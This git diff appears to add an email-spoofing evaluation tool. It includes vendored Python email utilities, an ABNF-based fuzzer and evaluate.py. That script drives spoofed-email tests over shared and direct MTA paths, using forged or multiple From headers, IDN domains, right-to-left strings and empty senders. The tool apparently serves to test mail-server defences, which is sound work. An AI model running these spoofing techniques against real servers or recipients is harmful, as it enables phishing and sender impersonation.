`Q' encoding is similar to quoted-printable, but + used specifically for email header fields to allow charsets with mostly 7 + bit characters (and some 8 bit) to remain more or less readable in non-RFC + 2045 aware mail clients. + + charset names the character set to use in the RFC 2046 header. It + defaults to iso-8859-1. + """ + # Return empty headers as an empty string. + if not header_bytes: + return '' + # Iterate over every byte, encoding if necessary. + encoded = header_bytes.decode('latin1').translate(_QUOPRI_HEADER_MAP) + # Now add the RFC chrome to each encoded chunk and glue the chunks + # together. + return '=?%s?q?%s?=' % (charset, encoded) + + +_QUOPRI_BODY_ENCODE_MAP = _QUOPRI_BODY_MAP[:] +for c in b'\r\n': + _QUOPRI_BODY_ENCODE_MAP[c] = chr(c) + +def body_encode(body, maxlinelen=76, eol=NL): + """Encode with quoted-printable, wrapping at maxlinelen characters. + + Each line of encoded text will end with eol, which defaults to "\\n". Set + this to "\\r\\n" if you will be using the result of this function directly + in an email. + + Each line will be wrapped at, at most, maxlinelen characters before the + eol string (maxlinelen defaults to 76 characters, the maximum value + permitted by RFC 2045). Long lines will have the 'soft line break' + quoted-printable character "=" appended to them, so the decoded text will + be identical to the original text. + + The minimum maxlinelen is 4 to have room for a quoted character ("=XX") + followed by a soft line break. Smaller values will generate a + ValueError. + + """ + + if maxlinelen < 4: + raise ValueError("maxlinelen must be at least 4") + if not body: + return body + + # quote special characters + body = body.translate(_QUOPRI_BODY_ENCODE_MAP) + + soft_break = '=' + eol + # leave space for the '=' at the end of a line + maxlinelen1 = maxlinelen - 1 + + encoded_body = [] + append = encoded_body.append + + for line in body.splitlines(): + # break up the line into pieces no longer than maxlinelen - 1 + start = 0 + laststart = len(line) - 1 - maxlinelen + while start <= laststart: + stop = start + maxlinelen1 + # make sure we don't break up an escape sequence + if line[stop - 2] == '=': + append(line[start:stop - 1]) + start = stop - 2 + elif line[stop - 1] == '=': + append(line[start:stop]) + start = stop - 1 + else: + append(line[start:stop] + '=') + start = stop + + # handle rest of line, special case if line ends in whitespace + if line and line[-1] in ' \t': + room = start - laststart + if room >= 3: + # It's a whitespace character at end-of-line, and we have room + # for the three-character quoted encoding. + q = quote(line[-1]) + elif room == 2: + # There's room for the whitespace character and a soft break. + q = line[-1] + soft_break + else: + # There's room only for a soft break. The quoted whitespace + # will be the only content on the subsequent line. + q = soft_break + quote(line[-1]) + append(line[start:-1] + q) + else: + append(line[start:]) + + # add back final newline if present + if body[-1] in CRLF: + append('') + + return eol.join(encoded_body) + + + +# BAW: I'm not sure if the intent was for the signature of this function to be +# the same as base64MIME.decode() or not... +def decode(encoded, eol=NL): + """Decode a quoted-printable string. + + Lines are separated with eol, which defaults to \\n. + """ + if not encoded: + return encoded + # BAW: see comment in encode() above. Again, we're building up the + # decoded string with string concatenation, which could be done much more + # efficiently. + decoded = '' + + for line in encoded.splitlines(): + line = line.rstrip() + if not line: + decoded += eol + continue + + i = 0 + n = len(line) + while i < n: + c = line[i] + if c != '=': + decoded += c + i += 1 + # Otherwise, c == "=". Are we at the end of the line? If so, add + # a soft line break. + elif i+1 == n: + i += 1 + continue + # Decode if in form =AB + elif i+2 < n and line[i+1] in hexdigits and line[i+2] in hexdigits: + decoded += unquote(line[i:i+3]) + i += 3 + # Otherwise, not in form =AB, pass literally + else: + decoded += c + i += 1 + + if i == n: + decoded += eol + # Special case if original string did not end with eol + if encoded[-1] not in '\r\n' and decoded.endswith(eol): + decoded = decoded[:-1] + return decoded + + +# For convenience and backwards compatibility w/ standard base64 module +body_decode = decode +decodestring = decode + + + +def _unquote_match(match): + """Turn a match in the form =AB to the ASCII character with value 0xab""" + s = match.group(0) + return unquote(s) + + +# Header decoding is done a bit differently +def header_decode(s): + """Decode a string encoded with RFC 2045 MIME header `Q' encoding. + + This function does not parse a full MIME header value encoded with + quoted-printable (like =?iso-8859-1?q?Hello_World?=) -- please use + the high level email.header class for that functionality. + """ + s = s.replace('_', ' ') + return re.sub(r'=[a-fA-F0-9]{2}', _unquote_match, s, flags=re.ASCII) diff --git a/email/utils.py b/email/utils.py new file mode 100755 index 0000000..39c2240 --- /dev/null +++ b/email/utils.py @@ -0,0 +1,388 @@ +# Copyright (C) 2001-2010 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Miscellaneous utilities.""" + +__all__ = [ + 'collapse_rfc2231_value', + 'decode_params', + 'decode_rfc2231', + 'encode_rfc2231', + 'formataddr', + 'formatdate', + 'format_datetime', + 'getaddresses', + 'make_msgid', + 'mktime_tz', + 'parseaddr', + 'parsedate', + 'parsedate_tz', + 'parsedate_to_datetime', + 'unquote', + ] + +import os +import re +import time +import random +import socket +import datetime +import urllib.parse + +from email._parseaddr import quote +from email._parseaddr import AddressList as _AddressList +from email._parseaddr import mktime_tz + +from email._parseaddr import parsedate, parsedate_tz, _parsedate_tz + +# Intrapackage imports +from email.charset import Charset + +COMMASPACE = ', ' +EMPTYSTRING = '' +UEMPTYSTRING = '' +CRLF = '\r\n' +TICK = "'" + +specialsre = re.compile(r'[][\\()<>@,:;".]') +escapesre = re.compile(r'[\\"]') + +def _has_surrogates(s): + """Return True if s contains surrogate-escaped binary data.""" + # This check is based on the fact that unless there are surrogates, utf8 + # (Python's default encoding) can encode any string. This is the fastest + # way to check for surrogates, see issue 11454 for timings. + try: + s.encode() + return False + except UnicodeEncodeError: + return True + +# How to deal with a string containing bytes before handing it to the +# application through the 'normal' interface. +def _sanitize(string): + # Turn any escaped bytes into unicode 'unknown' char. If the escaped + # bytes happen to be utf-8 they will instead get decoded, even if they + # were invalid in the charset the source was supposed to be in. This + # seems like it is not a bad thing; a defect was still registered. + original_bytes = string.encode('utf-8', 'surrogateescape') + return original_bytes.decode('utf-8', 'replace') + + + +# Helpers + +def formataddr(pair, charset='utf-8'): + """The inverse of parseaddr(), this takes a 2-tuple of the form + (realname, email_address) and returns the string value suitable + for an RFC 2822 From, To or Cc header. + + If the first element of pair is false, then the second element is + returned unmodified. + + Optional charset if given is the character set that is used to encode + realname in case realname is not ASCII safe. Can be an instance of str or + a Charset-like object which has a header_encode method. Default is + 'utf-8'. + """ + name, address = pair + # The address MUST (per RFC) be ascii, so raise a UnicodeError if it isn't. + address.encode('ascii') + if name: + try: + name.encode('ascii') + except UnicodeEncodeError: + if isinstance(charset, str): + charset = Charset(charset) + encoded_name = charset.header_encode(name) + return "%s <%s>" % (encoded_name, address) + else: + quotes = '' + if specialsre.search(name): + quotes = '"' + name = escapesre.sub(r'\\\g<0>', name) + return '%s%s%s <%s>' % (quotes, name, quotes, address) + return address + + + +def getaddresses(fieldvalues): + """Return a list of (REALNAME, EMAIL) for each fieldvalue.""" + all = COMMASPACE.join(fieldvalues) + a = _AddressList(all) + return a.addresslist + + + +ecre = re.compile(r''' + =\? # literal =? + (?P[^?]*?) # non-greedy up to the next ? is the charset + \? # literal ? + (?P[qb]) # either a "q" or a "b", case insensitive + \? # literal ? + (?P.*?) # non-greedy up to the next ?= is the atom + \?= # literal ?= + ''', re.VERBOSE | re.IGNORECASE) + + +def _format_timetuple_and_zone(timetuple, zone): + return '%s, %02d %s %04d %02d:%02d:%02d %s' % ( + ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'][timetuple[6]], + timetuple[2], + ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', + 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'][timetuple[1] - 1], + timetuple[0], timetuple[3], timetuple[4], timetuple[5], + zone) + +def formatdate(timeval=None, localtime=False, usegmt=False): + """Returns a date string as specified by RFC 2822, e.g.: + + Fri, 09 Nov 2001 01:08:47 -0000 + + Optional timeval if given is a floating point time value as accepted by + gmtime() and localtime(), otherwise the current time is used. + + Optional localtime is a flag that when True, interprets timeval, and + returns a date relative to the local timezone instead of UTC, properly + taking daylight savings time into account. + + Optional argument usegmt means that the timezone is written out as + an ascii string, not numeric one (so "GMT" instead of "+0000"). This + is needed for HTTP, and is only used when localtime==False. + """ + # Note: we cannot use strftime() because that honors the locale and RFC + # 2822 requires that day and month names be the English abbreviations. + if timeval is None: + timeval = time.time() + if localtime or usegmt: + dt = datetime.datetime.fromtimestamp(timeval, datetime.timezone.utc) + else: + dt = datetime.datetime.utcfromtimestamp(timeval) + if localtime: + dt = dt.astimezone() + usegmt = False + return format_datetime(dt, usegmt) + +def format_datetime(dt, usegmt=False): + """Turn a datetime into a date string as specified in RFC 2822. + + If usegmt is True, dt must be an aware datetime with an offset of zero. In + this case 'GMT' will be rendered instead of the normal +0000 required by + RFC2822. This is to support HTTP headers involving date stamps. + """ + now = dt.timetuple() + if usegmt: + if dt.tzinfo is None or dt.tzinfo != datetime.timezone.utc: + raise ValueError("usegmt option requires a UTC datetime") + zone = 'GMT' + elif dt.tzinfo is None: + zone = '-0000' + else: + zone = dt.strftime("%z") + return _format_timetuple_and_zone(now, zone) + + +def make_msgid(idstring=None, domain=None): + """Returns a string suitable for RFC 2822 compliant Message-ID, e.g: + + <142480216486.20800.16526388040877946887@nightshade.la.mastaler.com> + + Optional idstring if given is a string used to strengthen the + uniqueness of the message id. Optional domain if given provides the + portion of the message id after the '@'. It defaults to the locally + defined hostname. + """ + timeval = int(time.time()*100) + pid = os.getpid() + randint = random.getrandbits(64) + if idstring is None: + idstring = '' + else: + idstring = '.' + idstring + if domain is None: + domain = socket.getfqdn() + msgid = '<%d.%d.%d%s@%s>' % (timeval, pid, randint, idstring, domain) + return msgid + + +def parsedate_to_datetime(data): + *dtuple, tz = _parsedate_tz(data) + if tz is None: + return datetime.datetime(*dtuple[:6]) + return datetime.datetime(*dtuple[:6], + tzinfo=datetime.timezone(datetime.timedelta(seconds=tz))) + + +def parseaddr(addr): + """ + Parse addr into its constituent realname and email address parts. + + Return a tuple of realname and email address, unless the parse fails, in + which case return a 2-tuple of ('', ''). + """ + addrs = _AddressList(addr).addresslist + if not addrs: + return '', '' + return addrs[0] + + +# rfc822.unquote() doesn't properly de-backslash-ify in Python pre-2.3. +def unquote(str): + """Remove quotes from a string.""" + if len(str) > 1: + if str.startswith('"') and str.endswith('"'): + return str[1:-1].replace('\\\\', '\\').replace('\\"', '"') + if str.startswith('<') and str.endswith('>'): + return str[1:-1] + return str + + + +# RFC2231-related functions - parameter encoding and decoding +def decode_rfc2231(s): + """Decode string according to RFC 2231""" + parts = s.split(TICK, 2) + if len(parts) <= 2: + return None, None, s + return parts + + +def encode_rfc2231(s, charset=None, language=None): + """Encode string according to RFC 2231. + + If neither charset nor language is given, then s is returned as-is. If + charset is given but not language, the string is encoded using the empty + string for language. + """ + s = urllib.parse.quote(s, safe='', encoding=charset or 'ascii') + if charset is None and language is None: + return s + if language is None: + language = '' + return "%s'%s'%s" % (charset, language, s) + + +rfc2231_continuation = re.compile(r'^(?P\w+)\*((?P[0-9]+)\*?)?$', + re.ASCII) + +def decode_params(params): + """Decode parameters list according to RFC 2231. + + params is a sequence of 2-tuples containing (param name, string value). + """ + # Copy params so we don't mess with the original + params = params[:] + new_params = [] + # Map parameter's name to a list of continuations. The values are a + # 3-tuple of the continuation number, the string value, and a flag + # specifying whether a particular segment is %-encoded. + rfc2231_params = {} + name, value = params.pop(0) + new_params.append((name, value)) + while params: + name, value = params.pop(0) + if name.endswith('*'): + encoded = True + else: + encoded = False + value = unquote(value) + mo = rfc2231_continuation.match(name) + if mo: + name, num = mo.group('name', 'num') + if num is not None: + num = int(num) + rfc2231_params.setdefault(name, []).append((num, value, encoded)) + else: + new_params.append((name, '"%s"' % quote(value))) + if rfc2231_params: + for name, continuations in rfc2231_params.items(): + value = [] + extended = False + # Sort by number + continuations.sort() + # And now append all values in numerical order, converting + # %-encodings for the encoded segments. If any of the + # continuation names ends in a *, then the entire string, after + # decoding segments and concatenating, must have the charset and + # language specifiers at the beginning of the string. + for num, s, encoded in continuations: + if encoded: + # Decode as "latin-1", so the characters in s directly + # represent the percent-encoded octet values. + # collapse_rfc2231_value treats this as an octet sequence. + s = urllib.parse.unquote(s, encoding="latin-1") + extended = True + value.append(s) + value = quote(EMPTYSTRING.join(value)) + if extended: + charset, language, value = decode_rfc2231(value) + new_params.append((name, (charset, language, '"%s"' % value))) + else: + new_params.append((name, '"%s"' % value)) + return new_params + +def collapse_rfc2231_value(value, errors='replace', + fallback_charset='us-ascii'): + if not isinstance(value, tuple) or len(value) != 3: + return unquote(value) + # While value comes to us as a unicode string, we need it to be a bytes + # object. We do not want bytes() normal utf-8 decoder, we want a straight + # interpretation of the string as character bytes. + charset, language, text = value + if charset is None: + # Issue 17369: if charset/lang is None, decode_rfc2231 couldn't parse + # the value, so use the fallback_charset. + charset = fallback_charset + rawbytes = bytes(text, 'raw-unicode-escape') + try: + return str(rawbytes, charset, errors) + except LookupError: + # charset is not a known codec. + return unquote(text) + + +# +# datetime doesn't provide a localtime function yet, so provide one. Code +# adapted from the patch in issue 9527. This may not be perfect, but it is +# better than not having it. +# + +def localtime(dt=None, isdst=-1): + """Return local time as an aware datetime object. + + If called without arguments, return current time. Otherwise *dt* + argument should be a datetime instance, and it is converted to the + local time zone according to the system time zone database. If *dt* is + naive (that is, dt.tzinfo is None), it is assumed to be in local time. + In this case, a positive or zero value for *isdst* causes localtime to + presume initially that summer time (for example, Daylight Saving Time) + is or is not (respectively) in effect for the specified time. A + negative value for *isdst* causes the localtime() function to attempt + to divine whether summer time is in effect for the specified time. + + """ + if dt is None: + return datetime.datetime.now(datetime.timezone.utc).astimezone() + if dt.tzinfo is not None: + return dt.astimezone() + # We have a naive datetime. Convert to a (localtime) timetuple and pass to + # system mktime together with the isdst hint. System mktime will return + # seconds since epoch. + tm = dt.timetuple()[:-1] + (isdst,) + seconds = time.mktime(tm) + localtm = time.localtime(seconds) + try: + delta = datetime.timedelta(seconds=localtm.tm_gmtoff) + tz = datetime.timezone(delta, localtm.tm_zone) + except AttributeError: + # Compute UTC offset and compare with the value implied by tm_isdst. + # If the values match, use the zone name implied by tm_isdst. + delta = dt - datetime.datetime(*time.gmtime(seconds)[:6]) + dst = time.daylight and localtm.tm_isdst > 0 + gmtoff = -(time.altzone if dst else time.timezone) + if delta == datetime.timedelta(seconds=gmtoff): + tz = datetime.timezone(delta, time.tzname[dst]) + else: + tz = datetime.timezone(delta) + return dt.replace(tzinfo=tz) diff --git a/evaluate.py b/evaluate.py new file mode 100644 index 0000000..09b9eaf --- /dev/null +++ b/evaluate.py @@ -0,0 +1,176 @@ +from time import sleep +from util.log import init_log +import smtp_send as share +import mta_send as direct +from config import * + +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) +LOG_FILE = BASE_DIR + '/log/mta.log' +logger = init_log(LOG_FILE) + +if __name__ == '__main__': + Interval = 5 * 60 + logger.info("Start evaluate email server....") + logger.warning("-" * 70) + logger.info("Try to use Shared MTA to send spoofed emails...") + logger.warning("-" * 70) + # Shared MTA Attack + # share.test_normal(user, passwd, smtp_server, receiveUser,subject,content,mime_from=None,filename=filename,mime_from1=None,mime_from2=None,mail_from=None,image=image) + try: + logger.info("Test inconsistency in the from header") + share.test_mail_mime_attack(user, passwd, smtp_server, receiveUser) + share.test_login_mail_attack(user, passwd, smtp_server, receiveUser) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test special chars") + special_unicode = '\xff' + share.test_mail_mime_chars_attack(user, passwd, smtp_server, receiveUser, special_unicode) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test multiple from headers") + share.test_multiple_mime_from1(user, passwd, smtp_server, receiveUser) + share.test_multiple_mime_from2(user, passwd, smtp_server, receiveUser) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test multiple sender address") + share.test_multiple_value_mime_from1(user, passwd, smtp_server, receiveUser) + share.test_multiple_value_mime_from2(user, passwd, smtp_server, receiveUser) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + """ + try: + logger.info("Test multiple recipient address") + share.test_multiple_value_mime_to(user, passwd, smtp_server, receiveUser) + share.test_mime_to(user, passwd, smtp_server, receiveUser) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + """ + try: + logger.info("Test IDN domain") + share.test_IDN_mime_from_domain(user, passwd, smtp_server, receiveUser) + share.test_IDN_mime_from_username(user, passwd, smtp_server, receiveUser) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test Right-to-left strings") + share.test_reverse_mime_from_user(user, passwd, smtp_server, receiveUser) + share.test_reverse_mime_from_domain(user, passwd, smtp_server, receiveUser) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + logger.info("\n") + logger.info("Try to use Direct MTA to send spoofed emails...") + logger.warning("-" * 70) + + # Direct MTA + try: + logger.info("Test IDN domain") + direct.test_IDN_mime_from(to_email) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test Right-to-left strings") + direct.test_reverse_mime_from(to_email) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test mime from empty") + direct.test_mime_from_empty(mail_from, to_email) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test sender") + direct.test_sender(mail_from, to_email, sender) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test inconsistency in the from header") + direct.test_mail_mime_attack(mail_from, to_email) + direct.test_mail_mime_attack_diff_domain(mail_from, to_email) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test special char") + direct.test_mime_from_badchar(to_email) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test empty mail from") + direct.test_mail_from_empty(mime_from, to_email, helo) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test multiple from headers") + direct.test_multiple_mime_from1(mail_from, to_email) + direct.test_multiple_mime_from2(mail_from, to_email) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass + + try: + logger.info("Test multiple sender addresses") + direct.test_multiple_value_mime_from1(mail_from, to_email) + direct.test_multiple_value_mime_from2(mail_from, to_email) + logger.info("Finish!") + logger.warning("-" * 70) + sleep(Interval) + except: + pass diff --git a/fuzzer/abnf_parser.py b/fuzzer/abnf_parser.py new file mode 100755 index 0000000..791df53 --- /dev/null +++ b/fuzzer/abnf_parser.py @@ -0,0 +1,404 @@ +from treelib import Node, Tree +import os, sys, getopt, re, random +import html, requests +from fuzzer.basedata import * +from config import BASE_DIR, logger, CONFIG_RULES + +rule_list = {} +debug = 0 + +BUILT_IN_RULES = { + 'ALPHA': Alpha(), + 'BIT': Bit(), + 'CHAR': Char(), + 'CR': Cr(), + 'CRLF': Crlf(), + 'CTL': Ctl(), + 'DIGIT': Digit(), + 'DQUOTE': Dquote(), + 'HEXDIG': Hexdig(), + 'HTAB': Htab(), + 'LF': Lf(), + 'SP': Sp(), + 'WSP': Wsp(), + 'LWSP': Lwsp(), + 'OCTET': Octet(), + 'VCHAR': Vchar() +} + + +# util +def find_pair(left_idx, right_char, string): + left_char = string[left_idx] + curr_idx = left_idx + 1 + + if right_char == " ": + while curr_idx < len(string): + curr_char = string[curr_idx] + if curr_char == right_char: + break + + curr_idx = curr_idx + 1 + elif left_char == "*": # seem un-used? + while curr_idx < len(string): + curr_char = string[curr_idx] + if curr_char == right_char: + break + + curr_idx = curr_idx + 1 + elif left_char == "\"": # 不允许存在双引号嵌套 + while curr_idx < len(string): + curr_char = string[curr_idx] + if curr_char == right_char: + break + + curr_idx = curr_idx + 1 + else: + left_count = 0 + while curr_idx < len(string): + curr_char = string[curr_idx] + if curr_char == right_char: # 不允许存在类似< " + if left_count == 0: + break + else: + left_count = left_count - 1 + + if curr_char == left_char: + left_count = left_count + 1 + + curr_idx = curr_idx + 1 + + return curr_idx + + +# util +def get_repeat(tag): + atleast = tag[1:].split(',')[0] + if atleast == '': + atleast = 0 + else: + atleast = int(atleast) + + atmost = tag[1:].split(',')[1] + if atmost == '': + atmost = sys.maxsize + else: + atmost = int(atmost) + + return atleast, atmost + + +# make an expression-tree for a given rule +def parse_rule(rule, tree, curr_nid): + rule = rule.strip() + # logger.debug(rule) + + if len(rule) == 0: + return + + idx = 0 + if rule[0] == '/': + parent_node = tree.parent(curr_nid) + if parent_node.tag != '/': + new_node = tree.create_node(tag='/', parent=parent_node.identifier) + subtree = tree.remove_subtree(curr_nid) + tree.paste(new_node.identifier, subtree) + + curr_node = tree.create_node(tag='+', parent=new_node.identifier) + curr_nid = curr_node.identifier + else: + curr_node = tree.create_node(tag='+', parent=parent_node.identifier) + curr_nid = curr_node.identifier + elif rule[0] == '[': + node = tree.create_node(tag='[]', parent=curr_nid) + node = tree.create_node(tag='+', parent=node.identifier) + idx = find_pair(0, ']', rule) + parse_rule(rule[1:idx], tree, node.identifier) + elif rule[0] == '<': + idx = find_pair(0, '>', rule) + + reg = re.compile('.*<(?P[^,]*), .*RFC(?P[0-9]*).*') + match = reg.match(rule) + if match == None: + node = tree.create_node(tag='<>', parent=curr_nid) + node = tree.create_node(tag='+', parent=node.identifier) + + parse_rule(rule[1:idx], tree, node.identifier) + else: + res = match.groupdict() + node = tree.create_node(tag='=>', parent=curr_nid) + node = tree.create_node(tag=res['name'] + ',' + res['rfc_num'], parent=node.identifier) + elif rule[0] == '(': + node = tree.create_node(tag='()', parent=curr_nid) + node = tree.create_node(tag='+', parent=node.identifier) + idx = find_pair(0, ')', rule) + parse_rule(rule[1:idx], tree, node.identifier) + elif rule[0] == '"': + node = tree.create_node(tag='""', parent=curr_nid) + idx = find_pair(0, '"', rule) + node = tree.create_node(tag=rule[1:idx].encode(), parent=node.identifier) + elif rule[0] == '%': + node = tree.create_node(tag='%', parent=curr_nid) + idx = find_pair(0, ' ', rule) + node = tree.create_node(tag=rule[1:idx], parent=node.identifier) + elif rule[0] == '*' or (len(rule) > 1 and rule[1] == '*'): + reg = re.compile('^(?P[0-9]*)[*](?P[0-9]*)(?P[(]*)') + match = reg.match(rule) + res = match.groupdict() + + node = tree.create_node(tag="*" + res["min"] + "," + res["max"], parent=curr_nid) + if res["paren"] != "": + idx = find_pair(len(res["min"] + '*' + res["max"]), ")", rule) + parse_rule(rule[len(res["min"] + '*' + res["max"]):idx + 1], tree, node.identifier) + else: + idx = find_pair(len(res["min"] + '*' + res["max"]), " ", rule) + parse_rule(rule[len(res["min"] + '*' + res["max"]):idx], tree, node.identifier) + elif rule[0].isdigit(): + reg = re.compile('^(?P[0-9]*)(?P[(]*)') + match = reg.match(rule) + res = match.groupdict() + + node = tree.create_node(tag="*" + res["num"] + "," + res["num"], parent=curr_nid) + if res["paren"] != "": + idx = find_pair(len(res["num"]), ")", rule) + parse_rule(rule[len(res["num"]):idx + 1], tree, node.identifier) + else: + idx = find_pair(len(res["num"]), " ", rule) + parse_rule(rule[len(res["num"]):idx], tree, node.identifier) + else: + idx = find_pair(0, " ", rule) + node = tree.create_node(tag=rule[:idx], parent=curr_nid) + + parse_rule(rule[idx + 1:], tree, curr_nid) + + +# get a random result for a given rule +def generate(rule_name, rfc_number): + logger.debug("Generate from ABNF rule: {}".format(rule_name)) + res = b'' + if rule_name in CONFIG_RULES: + count = len(CONFIG_RULES[rule_name]) + res = CONFIG_RULES[rule_name][random.randint(0, count - 1)].encode() + elif rule_name in BUILT_IN_RULES: + res = BUILT_IN_RULES[rule_name].generate() + elif rule_name in rule_list[rfc_number]: + rule = rule_list[rfc_number][rule_name] + logger.debug("Deep into next Node: {}".format(rule)) + tree = Tree() + tree.create_node(tag="+") + node = tree.create_node(tag="+", parent=tree.root) + parse_rule(rule, tree, node.identifier) + logger.debug(tree.show()) + res = parse_tree(tree, tree.root, rfc_number) + else: + logger.error("Error: unknown rule name <" + rule_name + ">") + return res + + +# walk the tree for a random result +def parse_tree(tree, nid, rfc_number): + tag = tree.get_node(nid).tag + children = tree.children(nid) + # print(tag) + + res = b'' + if tag == '+': + for i in range(0, len(children)): + res = res + parse_tree(tree, children[i].identifier, rfc_number) + elif tag == '/': + idx = random.randint(0, len(children) - 1) + # print('idx=' + str(idx)) + res = res + parse_tree(tree, children[idx].identifier, rfc_number) + elif tag == '()': + res = res + parse_tree(tree, children[0].identifier, rfc_number) + elif tag == '<>': + res = res + parse_tree(tree, children[0].identifier, rfc_number) + elif tag == '[]': + temp = random.randint(0, 1) + if temp == 1 and len(children) > 0: + res = res + parse_tree(tree, children[0].identifier, rfc_number) + elif tag[0] == '*': + atleast, atmost = get_repeat(tag) + for i in range(0, atleast): + res = res + parse_tree(tree, children[0].identifier, rfc_number) + repeat = atleast + while repeat < atmost: + temp = random.randint(0, 1) + # print(temp) + if temp == 1: + res = res + parse_tree(tree, children[0].identifier, rfc_number) + # print(res) + repeat = repeat + 1 + else: + break + elif tag == '""': + if len(children) > 0: + res = children[0].tag + elif tag == '%': + numeric = Numeric(children[0].tag) + res = numeric.generate() + elif tag == '=>': + rule_name = children[0].tag.split(',')[0] + rfc_number = children[0].tag.split(',')[1] + res = generate(rule_name, rfc_number) + else: + rule_name = tag + res = generate(rule_name, rfc_number) + return res + + +# unused, for debug +def walk_tree(tree, nid): + children = tree.children(nid) + for i in range(0, len(children)): + logger.debug(children[i].tag) + walk_tree(tree, children[i].identifier) + + +# download and save the abnf list from a given rfc-link +def download_rfc(rfc_number): + html_content = requests.get('https://tools.ietf.org/html/rfc' + rfc_number).content + real_html = html_content.decode('utf8') + pattern = re.compile(r'<.+?>', re.S) + content = pattern.sub('', real_html) + content = html.unescape(content) + # logger.debug(content) + + if 'Collected ABNF' in content: + content = 'Collected ABNF\n' + content.split('Collected ABNF')[2] + content_list = content.split('\n') + + if 'Collected ABNF' in content: + while ' = ' not in content_list[0]: + content_list.pop(0) + i = 0 + while i < len(content_list): + if '[Page ' in content_list[i]: + content_list.pop(i) + elif content_list[i].startswith('RFC '): + content_list.pop(i) + elif len(content_list[i]) < 3: # white space line + content_list.pop(i) + elif not content_list[i].startswith(' '): + break + else: + i = i + 1 + while i < len(content_list): + content_list.pop(i) + else: + i = 0 + while i < len(content_list): + if '[Page ' in content_list[i]: + content_list.pop(i) + elif content_list[i].startswith('RFC '): + content_list.pop(i) + else: + i = i + 1 + + i = 0 + while True: + while i < len(content_list): + reg = re.compile('[ ]*[a-zA-Z0-9-]*[ ]* = .*') + match = reg.match(content_list[i]) + if match == None: + content_list.pop(i) + else: + break + + if i >= len(content_list): + break + + while len(content_list[i]) > 3: # not white space line + i = i + 1 + content = '\n'.join(content_list) + file_path = BASE_DIR + '/fuzzer/rfc/rfc' + rfc_number + '.txt' + with open(file_path, 'w') as f: + f.write(content) + return + + +# read the abnf list from a given file +def get_rule_list(rfc_number): + logger.debug('Get ABNF list from RFC' + rfc_number) + file_path = BASE_DIR + '/fuzzer/rfc/rfc' + rfc_number + '.txt' + if not os.path.exists(file_path): + download_rfc(rfc_number) + + rule_list[rfc_number] = {} + + key = '' + f = open(file_path, 'r') + for line in f: + line = line.strip() + + i = 0 + while i < len(line): + if line[i] == ';': + line = line[:i] + break + if line[i] == '"': + i = find_pair(i, '"', line) + i = i + 1 + + if len(line) == 0: + continue + + i = 0 + while i < len(line): + if line[i] == '=': + break + if line[i] == '"': + i = find_pair(i, '"', line) + i = i + 1 + + if i < len(line): + if len(line[i + 1:].strip()) <= 1: + continue + key = line[:i].strip() + rule_list[rfc_number][key] = line[i + 1:] + else: + rule_list[rfc_number][key] = rule_list[rfc_number][key] + " " + line + f.close() + + expand_rule_list(rfc_number) + + +# expand the abnf list when it comes to another rfc +def expand_rule_list(rfc_number): + rfc_list = [] + for key in rule_list[rfc_number]: + rule = rule_list[rfc_number][key] + if 'see [RFC' not in rule: + continue + reg = re.compile('.*<(?P[^,]*), .*RFC(?P[0-9]*).*') + match = reg.match(rule) + res = match.groupdict() + if res['rfc_num'] not in rfc_list: + rfc_list.append(res['rfc_num']) + # logger.debug(rfc_list) + for rfc_number in rfc_list: + logger.debug('Expand ABNF list from RFC' + rfc_number) + get_rule_list(rfc_number) + return + + + + +# +# if __name__ == "__main__": +# count = 1 +# rule_name = '' +# rfc_number = '2234' +# +# opts, args = getopt.getopt(sys.argv[1:], "dn:r:", ["rfc="]) +# for opt, arg in opts: +# if opt == '-d': +# debug = 1 +# if opt == '-n': +# count = int(arg) +# if opt == '-r': +# rule_name = arg +# if opt == '--rfc': +# rfc_number = arg +# +# print(randabnf(rule_name, rfc_number, count)) diff --git a/fuzzer/basedata.py b/fuzzer/basedata.py new file mode 100755 index 0000000..a76554c --- /dev/null +++ b/fuzzer/basedata.py @@ -0,0 +1,177 @@ +import random + + +class BaseData: + data = [] + + def generate(self): + count = len(self.data) + return self.data[random.randint(0, count - 1)] + + +class Numeric(BaseData): + def __init__(self, value): + self.data = [] + + tp = value[0] + vs = [] + if '-' in value: + vs = value[1:].split('-') + if tp == 'b': + for i in range(int(vs[0], 2), int(vs[1], 2) + 1): + self.data.append(chr(i).encode('latin1')) + if tp == 'd': + for i in range(int(vs[0], 10), int(vs[1], 10) + 1): + self.data.append(chr(i).encode('latin1')) + if tp == 'x': + for i in range(int(vs[0], 16), int(vs[1], 16) + 1): + self.data.append(chr(i).encode('latin1')) + else: + vs = value[1:].split('.') + res = b'' + if tp == 'b': + for i in range(0, len(vs)): + res = res + chr(int(vs[i], 2)).encode('latin1') + if tp == 'd': + for i in range(0, len(vs)): + res = res + chr(int(vs[i], 10)).encode('latin1') + if tp == 'x': + for i in range(0, len(vs)): + res = res + chr(int(vs[i], 16)).encode('latin1') + self.data.append(res) + + +# ALPHA = %x41-5A / 